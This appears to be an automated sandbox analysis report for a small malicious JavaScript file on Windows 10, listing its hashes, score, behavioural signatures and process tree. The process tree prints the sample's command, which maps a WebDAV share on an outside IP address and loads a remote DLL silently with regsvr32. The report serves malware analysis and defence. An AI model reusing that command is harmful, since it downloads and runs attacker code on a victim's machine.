Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/07/2024, 03:02

General

  • Target
    c324645c039e711d47c98dd7ab3d4f31a5c96b3d84aff7de6285687161339701.js
  • Size 4KB
  • Sample240724-djvjcsvcmn
  • SHA256 c324645c039e711d47c98dd7ab3d4f31a5c96b3d84aff7de6285687161339701
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\c324645c039e711d47c98dd7ab3d4f31a5c96b3d84aff7de6285687161339701.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2940
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\204172964725065.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4588
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2148

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads